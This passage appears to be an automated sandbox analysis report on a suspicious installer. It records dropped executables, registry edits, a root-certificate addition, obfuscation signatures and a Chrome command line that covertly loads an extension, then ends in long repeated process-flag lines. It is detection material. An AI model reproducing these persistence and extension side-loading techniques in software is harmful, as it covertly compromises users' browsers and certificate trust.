Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: powershell.exe, 00000006.00000002.1833673011.000002526E346000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\tempFiles.pdb source: setup.exe, MSI35A6.tmp.0.dr, tempFiles.dll.0.dr, Chromnius-Main.msi.0.dr

PE file contains a valid data directory to section mapping

Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Binary contains a suspicious time stamp

Source: shi3105.tmp.0.dr

Static PE information: 0xC7FEC470 [Wed Apr 29 05:06:56 2076 UTC]

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\setup.exe

Code function: 0_2_00CCF120 LoadLibraryW,GetProcAddress,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,FreeLibrary,

0_2_00CCF120

PE file contains sections with non-standard names

Source: shi3105.tmp.0.dr	Static PE information: section name: .wpp_sf
Source: shi3105.tmp.0.dr	Static PE information: section name: .didat
Source: MSI4739.tmp.1.dr	Static PE information: section name: _RDATA
Source: MSIFB77.tmp.1.dr	Static PE information: section name: _RDATA
Source: shiC6A3.tmp.3.dr	Static PE information: section name: .wpp_sf
Source: shiC6A3.tmp.3.dr	Static PE information: section name: .didat

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BBB10B push esi; ret	0_2_00BBB10D
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00CAB2C0 push ecx; mov dword ptr [esp], 3F800000h	0_2_00CAB3F6
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BBD310 push ecx; mov dword ptr [esp], ecx	0_2_00BBD311
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00BCC63B push ds; ret	0_2_00BCC63F
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_00D8086C push ecx; ret	0_2_00D8087F
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BBB10B push esi; ret	3_2_00BBB10D
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00CAB2C0 push ecx; mov dword ptr [esp], 3F800000h	3_2_00CAB3F6
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BBD310 push ecx; mov dword ptr [esp], ecx	3_2_00BBD311
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00BCC63B push ds; ret	3_2_00BCC63F
Source: C:\Users\user\Desktop\setup.exe	Code function: 3_2_00D8086C push ecx; ret	3_2_00D8087F
Source: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Code function: 8_2_00167FC0 push ecx; ret	8_2_00167FD3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 14_2_00007FFD9B4019BC pushad ; ret	14_2_00007FFD9B4019C9

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSIFB77.tmp			Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Executable created and started: C:\Windows\Installer\MSI4739.tmp			Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Drops PE files

Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\viewer.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI331F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\shi3105.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA7D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEC26.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICBB9.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI32EF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\tempFiles.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\shiC6A3.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4739.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Program Files (x86)\Chromstera Browser\ChromsteraUpdater.exe	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3193.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID11C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID04F.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3290.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\lzmaextractor.dll	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3517.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICB79.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3340.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICAEB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3230.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI35A6.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC933.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3566.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC9EF.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI32CF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI11D0.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI35E5.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3250.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI3360.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFB77.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\MSI34E7.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\setup.exe	File created: C:\Users\user\AppData\Local\Temp\AI_EXTUI_BIN_7404\aischeduler2.dll	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC66.tmp	Jump to dropped file

Drops PE files to the windows directory (C:\Windows)

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICB79.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICAEB.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC933.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICA7D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIC9EF.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIEC26.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI11D0.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICBB9.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4739.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSIFB77.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID11C.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSICC66.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID04F.tmp	Jump to dropped file

Installs a Chrome extension

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --profile-directory="Default" --no-startup-window --load-extension="C:\apps-helper"

Hooking and other Techniques for Hiding and Protection

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Users\user\Desktop\setup.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Stores large binary data to the registry

Source: C:\Users\user\Desktop\setup.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 Blob

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
